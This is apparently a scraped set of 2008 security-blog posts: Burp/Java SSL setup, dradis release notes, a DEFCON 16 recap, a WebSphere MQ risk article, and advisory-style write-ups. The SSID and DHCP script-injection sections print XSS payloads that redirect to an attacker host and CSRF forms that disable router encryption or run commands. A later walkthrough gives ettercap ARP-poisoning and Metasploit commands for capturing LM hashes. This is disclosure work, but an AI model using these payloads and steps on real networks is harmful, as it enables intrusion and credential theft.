Generate the certificate using OpenSSL:-

$ openssl genrsa 1024 > foo.key
$ openssl req -new -x509 -nodes -sha1 -days 7300 -key foo.key > foo.crt
$ openssl pkcs12 -export -out foo.p12 -in foo.crt -inkey foo.key -name "your name"

You will need the .p12 file (contains key and certificate) to configure Burp. And the .crt file to add it to the Java keystore used by the client. Checkout Burp’s help page for instructions on how to get the first done.

Create a Java keystore, import the certificate

Straightforward enough (just remember the password you entered):

keytool.exe -import -file foo.crt -keystore usefulfor.jks -alias burpcert

Run the application and point it to your keystore

java \
  -Djavax.net.ssl.trustStore=usefulfor.jks \
  -Djavax.net.ssl.trustStorePassword=password \
  -Djavax.net.debug=all  \
  com.usefulfor.Demo

Other interesting properties that you may need in order to further tweak the SSL configuration are javax.net.ssl.keyStore and javax.net.ssl.keyStorePassword.

We have been working as hard as one can work: over 487 commits since then (check the stats), we went to DEFCON 16 where a pre-release of the new dradis v2.0 was showcased… But finally we are here, there is a new release ready for you to try and get addicted to!

Lots of new features: new web interface (+10 neatness, +20 usability), new internal architecture (+30 flexibility), new built-in modules (+10 usefulness)…

Changes in the Server

First, we can start having a look at the new web interface:-

As you can see there are no Hosts/Protocols/Services in the screenshot above. It is just a tree of Nodes, and nodes can be anything, hosts, applications, locations, countries… you name it. This gives you the flexibility that was missing in previous releases, you can now use dradis for pentest, web apps, wireless, etc. No restrictions, you can structure your information in the most efficient way.

dradis is built on top of the Rails framework, and with the evolution of Rails comes the evolution of our tool. We now expose our web services through REST, this goes a long way towards extending and connecting dradis with your own tools.

Have you noticed the https:// in the enlarged image? That’s right! This release comes with security! ™. SSL transport and user authentication are finally here.

And as for the fancy, shiny look, we are using ExtJS 2.2 to build the interface. Awesome cross-browser functionality.

Changes in the Client

To match the changes made on the server, we have updated the wxWidgets client to the new Node tree structure. Communication is through SSL, and uses REST web services.

The console interface that was broken in the pre-release is working again, to the delight of hardcore testers and extension developers.

Some obscure re-factoring of the code took place to prepare the different components of the client to work with the Multiverse (not fully complete, not released yet). Some less obscure changes were made to the modules architecture and now we have renamed them to extensions. Old modules will still work in v2.0 only with minor tweaks (john’s string encoding extension is now built in and was ported by changing two lines of code 8O).

And for tomorrow we have…

Last but not least, we need to say that there is still lots to be done, lots of enhancements and cool features to add to the framework. Some of them have already been spotted (checkout the roadmap) and some of them will come through feature requests (yes, if you like this or that cool new feature implemented,let us know: feedback[ {at} ]nomejortu{ [dot] }com).

We are all excited about what we have accomplished so far, by the feedback we got from some of the industry’s leading professionals. We believe we are already making a difference for the people using dradis in their day-to-day testing, and intend to keep it going, improving a tool that will let us all focus on what we really want: hack them.

I was invited to present my ‘Behind Enemy lines’ research, which mainly focused on different attack techniques that are currently affecting a large number of administrative web interfaces.

The slides of this presentation can be found here: [1]

More information about this research can be found in the following white paper: [3] [4]

Last week I attended DEFCON 16 in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.

There’s a lot to do at DEFCON besides attending presentations, but this year I was there for business not just pleasure, so I went on a presentation-attending marathon. I must admit that this year there were less “wow” moments as far as the talks were concerned, but there were still some decent talks ands of course lots of opportunities to catch up with friends and acquaintances from around the world.

Here’s a list and some comments of the talks I attended:

Day 1

Time-Based Blind SQL Injection Using Heavy Queries
By: Chema Alonso and Jose Parada

Nice little technique to perform blind SQL injection without the use of delay functions, but instead creating queries which tax the database enough for a noticeable delay to be seen. Nothing ground breaking, but nifty.

Links:

• http://technet.microsoft.com/en-us/library/cc512676.aspx
• http://www.codeplex.com/marathontool

Digital Security: A Risky Business
By: Ian Angell (aka the “Angell of Doom”)

A fantastic speaker, and an unusual presentation for DEFCON, dealing with some of the myths and fallacies of the high tech world.

Security and anonymity vulnerabilities in Tor: past, present and future
By: Roger Dingledine

There always seems to be a talk like this at DEFCON now, and its usually pretty interesting. This talk looked back at past Tor vulnerabilities, through to today, and suggested where further problems may lie. Tor’s unusual architecture always makes this a fascinating listen.

New Tool for SQL Injection with DNS Exfiltration
By: Robert Ricks

This talk demonstrated a technique and a tool to extract data through an SQL injection vulnerability by tunnelling the data through DNS. This makes for fast extraction as more data can be extracted with each query than in traditional blind SQL injection techniques. The DNS exfiltration method is not new, but Rickses tool targets Oracle which, as far as I know, no practical tool did before.

Anti-RE Techniques in DRM Code
By: Jan Newger

Fascinating look at some of the devious techniques DRM code uses to make it harder to reverse. Slides featured a pixelated section of a diagram to avoid revealing the full DRM algorithm.

NMAP-Scanning the Internet
By: Fyodor

Really enjoyed this one. I hadn’t seen Fyodor present before and he is a very engaging speaker. His talk contained some interesting metrics based on his mammoth scans of large parts of the internet, allowing him to give advice on the most efficient scan options. He also added a variety of very nice features to nmap to be released soon.

Keeping Secret Secrets Secret and Sharing Secret Secrets Secretly
By: Vic Vandal

The talk focused mainly on issues surrounding stenography.

Virtually Hacking
By: John Fitzpatrick

John is a colleague of mine, so naturally I went to heckle this presentation In all seriousness though it’s an interesting talk about VMware security. He released some scripts to manipulate VMware in some very interesting ways.

Day 2

RE:Trace: The Reverse Engineer’s Unexpected Swiss Army Knife
By: David Weston and Tiler Beauchamp

This was a great talk, and one I will probably use in some future research of mine. RE:Trace is a ruby framework written around DTrace which allows you to do some kung-fu to help in reverse engineering and exploit writing. Includes some very nice integration with IDA Pro.

Hacking Desire
By: Ian Clarke

Not what I expected, but interesting nonetheless, the talk focussed on how systems can build a predictive picture of what users like.

Feed my SAT Monkey
By: Major Malfunction (aka Adam Laurie)

Hacking satellites. Do I need to say anymore? Well ok, no sending data to satellites here, but interesting insight into the world of hunting for interesting signals. Including tcp/ip data that you “wouldn’t believe”.

Is that a unique credential in your pocket or are you just pleased to see me?
By: Zac Franken

If you’ve never seen someone take a silicone cast of their hand to fool a hand scanner, you haven’t lived.

VulnCatcher: Fun with Vtrace and Programmatic Debugging
By: atlas

This talk shows techniques for programmatically finding when an exploitable bug “likely” occurred during fuzzing, so you can hone in on the truly interesting crashes quickly. Included an amusing interruption in which atlas was attacked by a fully automatic nerf gun.

Introducing Momentary Faults Within Secure Smartcards/Microcontrollers
By: Christopher Tarnovsky

Some of this talk was a bit over my head (I’m a software monkey at heart), but it was quite amazing to see how you could physically mess with circuits on a chip to bypass certain restrictions. Included live, participatory demonstration!

Day 3

Malware Detection Through Network Flow Analysis
By: Bruce Potter

Its not as if you can not go to a Bruce Potter talk. He started off with some insightful comments about the security industry generally, and moved on the to main topic of discussion, showing how best to analyse network flow from a security analysts point of view, as opposed to a purely operational concerned person. Before the talk, Bruce took part in a small TF2 lan game that was stuck up on the big screen as we filed in.

Advanced Software Armouring and Polymorphic Kung-Fu
By: Nick Harbour

Nick Harbour had developed a pretty cool packer which used some amazing
techniques to screw with analysis of the disassembly. My favourite was
instructions that jump half way into their own bytecode at which point
new meaningful instructions emerge.

DNS
By: Dan Kaminsky

If I have to explain this one, you must have been living under a rock. I actually only caught the second half, as the line to get in to his talk was insanely long. But he spoke for almost 2 hours and I managed to hear some of his comments on the implications of easy DNS poisoning. Afterwards, he gave out cookies!

Race-2-Zero Unpacked
By: Simon Howard

A dissection of the controversial Race-2-Zero contest in which participants had to get various malware past virus scanning engines.

Toaster, a Modular NetBSD Rootkit
By: Anthony Martinez and Thomas Bowen

The guys seemed quite nervous in this presentation, but the material behind it was an interesting look at how they implemented this BSD rootkit.

Malware RCE: Debuggers and Decryptor Development
By: Michael Ligh and Greg Sinclair

This demo driven presentation looked at techniques and tips for effectively analysing malware samples.

en-Testing is Dead, Long Live the Pen Test
By: Taylor Banks and Carric

An insightful look at the history and development of pentesting, its roots in hacker culture, what went wrong, and how to progress into the future.

Summary

I really enjoyed The Pen-Test is Dead Long Live the Pentest as it tied in quite closely with what I am seeing myself and the changes we are making at MWR InfoSecurity. On a technical level my favourite talks were probably RE:Trace, Anti-RE Techniques in DRM Code and Polymorphic Kung-Fu. I wish I had got to see Jason Scott’s talk, he has to be one of my favourite speakers, but his talk wasn’t technical and as I was there on company time I decided to take in the technical talks on at the same time instead.

An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.

Circumstances

Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.

Exploitation

An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’
packets containing a malicious payload in the SSID.

The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.

Dependencies

• The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target
• SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.

Attack Technique

1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID

SSID of the first access point: -

<script>location=/*

SSID of the second access point: -

*/"http://attacker";</script>

A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.

<script>location="http://attacker";</script>

2. This malicious SSIDs will be displayed in the ‘Neighbour’s Wireless’ page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs

3. The malicious payload references to a script hosted in the attacker’s web server. Below it can be seen an example of the malicious script hosted in the attacker’s web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.wpa.submit();">
<form name="wpa" action="http://192.168.1.1/apply.cgi” method=”POST”>
<input type=”hidden” name=”submit_button” value=”WL_WPATable” />
<input type=”hidden” name=”action” value=”ApplyTake” />
<input type=”hidden” name=”change_action” value=”gozila_cgi” />
<input type=”hidden” name=”submit_type” value=”save” />
<input type=”hidden” name=”security_varname” />
<input type=”hidden” name=”security_mode_last” />
<input type=”hidden” name=”wl_wep_last” />
<input type=”hidden” name=”filter_mac_value” />
<input type=”hidden” name=”wl0_security_mode” value=”disable” />
</form>
</body>
</html>

4. The malicious script hosted in the attacker’s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator’s browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device’s wireless encryption.

Tool: SSID Script Injection [1]

Advisory: DD-WRT SSID Script Injection Vulnerability [1] [2]

Demo: DD-WRT SSID Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

]]> http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/ http://usefulfor.com/security/2008/08/04/dhcp-script-injection/ http://usefulfor.com/security/2008/08/04/dhcp-script-injection/#comments Mon, 04 Aug 2008 09:39:45 +0000 rdv http://usefulfor.com/security/?p=93 A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.

it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from the DHCP server and therefore an attacker. In particular, a specially crafted DHCPREQUEST message containing malicious JavaScript or HTML code in the DHCP Options Hostname field could be sent to the DHCP server; the malicious code would then be displayed in the DHCP active leases page of the vulnerable administrative application and would be executed when an administrator visited the page.

Circumstances

Device providing an administrative web interface with a DHCP management functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from the DHCP server.

Exploitation

If a specially crafted DHCPREQUEST message containing malicious code in the Hostname DHCP Options field is sent to the affected DHCP server; this will be displayed in the DHCP active leases page of the device administrative interface and will be executed when an administrator visits this page.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could remotely execute commands in the affected system.

Dependencies

• The attacker would have to be connected to the network segment on which the affected device was located.
• The DHCP server would also need to be active and to provide the attacker’s system with an IP address.

Attack Technique

1. An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field

<iframe height=0 width=0 src='http://attacker-web-server/'>

2. This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator

3. The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker’s web server. Below it can be seen an example of the malicious script hosted in the attacker’s web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.frmExecPlus.submit();">
<form name="frmExecPlus" action="https://target/exec.php” method=”POST”>
<input name=”txtCommand” type=”hyden” size=”80″ value=”whoami“>
<input type=”hidden” value=”Execute”>
</form>
</body>

4. The malicious script hosted in the attacker’s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator’s browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.

Tool: DHCP Script Injection [1]

Advisory: pfSense DHCP Script Injection Vulnerability [1] [2]

Demo: pfSense DHCP Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

In the last article (middleware and me (part-1)) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of these discussions we are going to be focussing on the IBM Websphere MQ product, hopefully in the future I will be able to contrast these discussions against the security controls employed by a number of other messaging technologies.

If you are going to understand how to secure an installation of Websphere MQ it is important to think about the risks it can expose. Often it is used in critical applications and therefore any vulnerabilities in the technology can be mapped directly to the business risk. In this discussion we are going to focus on our fictional company of Widget Corp. They make widgets which are low cost fixings used for a number of different purposes by a wide range of different customers.

The company is formed of several individual business units and has decided to use Websphere MQ in its manufacturing process. The typical business process flow of an individual business unit is as follows: -

For more information about the fictional Widget Corp please refer to the Websphere MQ Security White Paper (mirror #1, mirror #2).).

Given the importance of this process the greatest risks to the business in order of significance are as follows: -

• Loss of Availability – With a low cost and therefore profit per unit it is vital that the number of widgets that are produced is maximised. The transfer of messages from the customers to the manufacturing plant is what keeps this process moving and therefore any unavailability in the system means loss of manufacturing time. In addition, if customers do not receive their orders on time they will take their business elsewhere.
• Damage to Integrity – Customers want their orders when they are promised to them but they also want the correct order to arrive. If the integrity of the message data is affected then orders might not be manufactured, may be delivered to the wrong customer or may contain errors. In any of these situations a customer will not be happy and will turn to an alternative supplier.
• Breach of Confidentiality – The messages being transferred across the business contain a large amount of information that would either be of interest to a competitor or would disclose information about the customer. If this data were obtained it could be used either for competitive advantage or for use in negative publicity against the company. This could result in damage to the brand or more effective competition from other companies in the industry.
• Lack of Accountability – When facing an audit it is vital that the company be able to demonstrate how its business process is transparent and can not be used for illegitimate purposes. Failure to be able to demonstrate this could result in fines or other action being taken if the company is suspected of engaging in such activities.

These risks highlight how the security of the Middleware used by Widget Corp is of critical importance to its ongoing success. These risks can be directly mapped to a number of common security requirements and are common across all technologies and products. If you are examining a technology with such a close match to a fundamental business process it is important not to shy away from the importance of understanding the actual requirements for security controls. A mapping of the top three of the previously highlighted business risks against common security requirements is pictured here.

When using the Websphere MQ product there are a number of security features that can be used to meet these security requirements. An understanding of the relationship between these requirements and the features is critical and can be observed here: -

As can be observed in the diagram there are three primary security features that are available within Websphere MQ when considering network based access to the software. Each of these features is described briefly with respect to its functionality and the potential impact on the system if it is not used: -

• SSL and TLS Encryption – A wide range of ciphers can be configured to protect any communication of Websphere MQ data across a network including enforcing a requirement for a system to present a client certificate at connection time. The use of a given cipher or client certificate controls can be tested for on a channel by channel basis and the error codes that are returned enable the status to be accurately determined. Failure to use these controls could result in traffic sniffing attacks being a viable method for compromising data confidentiality and integrity.
• MCAUSER – Each channel can be protected with a user context under which the messaging transactions take place. This can be reviewed by investigating channel settings using Inquire commands which are standard Websphere MQ operations. If MCAUSERs are not defined it could enable a user to access objects for which they have not been granted authorisation to do so.
• Security Exit – An external application can be defined which MQ hands off the responsibility of user authentication to and can enforce both user and IP addresses restrictions. If an exit has been configured for a channel Websphere MQ it will indicate this when attempting to connect. If a security exit is not defined for a channel it means that no user authentication can occur, system authentication can still occur using SSL but this has no direct mapping to user based access control on the Websphere MQ system itself.

When examining the technology it is important that the role of each of these be understood, how their presence can be tested for and in which circumstances they are required. Given that these security controls are available it could be assumed that they are always utilised. However, this is a false assumption and often one if not all of these features are either not used or not used with appropriate coverage. Therefore, on the majority of installations there are plenty of security vulnerabilities just waiting to be discovered by someone who looks in sufficient detail.

This article has provided a basic overview of the mapping between risk and security controls associated with the Websphere MQ product and the features that can be enabled. For more information about these have a read of the white paper discussed earlier. Next time I will begin to discuss how a security assessment from the perspective of a penetration tester can be mapped out and will examine some new features of dradis that can help this to be achieved.

Goal:

To retreive a client’s currently logged in credentials through manipulation of their HTTP stream (via a MITM attack). Most of the clients seen during various internal tests were pretty well firewalled and patched. However by manipulating a client’s HTTP stream it was possible to have them send their username and the majority of their password hash.

Conditions:

So as with most things there are some conditions that must be inplace for this to be successful and also requirements that the credential snarfer must have sorted. Client Conditions:-:

• The target client must be using a version of IE for their browsing. During testing IE appears to be the only browser that by default sends through the resonse to the challenge of the locally logged in user that we’re after.
• Must be on same netowrk segment, for the MITM attack to work of course.
• Only LANMAN hashes can be obtained this way. If the client has been configured to support NTLM only then we lose. Most default installs will not be set up this way, you may encounter more secure setups in some corporate environments.
• Only the first 7 characters are in the tables. Youll have to brute force the rest of the password.

Attacker’s Rig:

• Some LMHALFCHALL rainbow tables: halflmchall_all-space_1-7.torrent (54gig) -or- halflmchall_alpha-numeric_1-7.torrent (5gig)
• Metasploit, plus Kurt Grutzmacher’s exploit module smb_server.pm from here (this does not work on Windows):
  • http://metasploit.com/tools/: Looking for Framework v.2.7
  • smb_sniffer.pm
• Ettercap plus an ettercap filter to rewrite the victims web pages LMHC_etter.filter.
• Cain & Abel to perform the crypt analysis of the LMHALFCHALLENGE hashes recovered. As far as I know these rainbow tables for LMHC were created with the Cain & Abel utility winrtgen and therefore are incompatible with the patched version of rcrack.

Attacker Process:

• Fix up the IP address in the LMHC_etter.filter file to represent the host you’ll be running Metasploit 2.7 & the smbsniffer exploit module from.
• Compile that with:

  etterfilter.exe -o LMHC_etter.ef LMHC_etter.filter

• Unpack Metasploit 2.7 from tha above link, place smb_sniffer.pm under the exploits/ directory.
• Install and run as root
• Metasploit commands :

  framework-2.7 $ sudo ./msfconsole msf > use smb_sniffer msf smb_sniffer > set PWFILE=/tmp/smb_sniffed.pw3

  So the SMBsniffer is waiting listening for connections fro the victims IE. So we need to rewrite some of their web requests to ensure they pass us their LMHALFCHALLENGE hashes.

• Run up ettercap using our compiled filter from earlier, to perfom the arp poisoning attack with the following:

  ettercap -Tq -M arp:remote -F /mnt/LMHC_etter.ef /GATEWAY ADDRESS/ /VICTIM ADDRESS/

• When the page gets rewritten correctly IE will attempt to make the connection and send the logged in user credentials to your waiting server.
• Resulting in a Pwdump compliant output file called smb_sniffed.pw3
• Switch to Cain & Abel for the hash cracking
• Select the hash you want to crack, right click and select Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, add the tables, and crack it.

Some Other Things To Play With In The Same Eenvironment:

LSO: MSFweb 3.0 part 2 (via Milw0rm videos)

The summary of the features of the v1.2 release:

• in the client:
  • export to XML module is now part of the standard module set.
  • a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.
  • fixed the window.rb:159 bug.
• in the server:
  • a slightly less annoying implementation of the web interface auto refresh functionality.
  • the services added through the web interface can have a name now
  • simple prevention against embedded XSS.

You can also download the platform-independent ruby source in the download section of the site.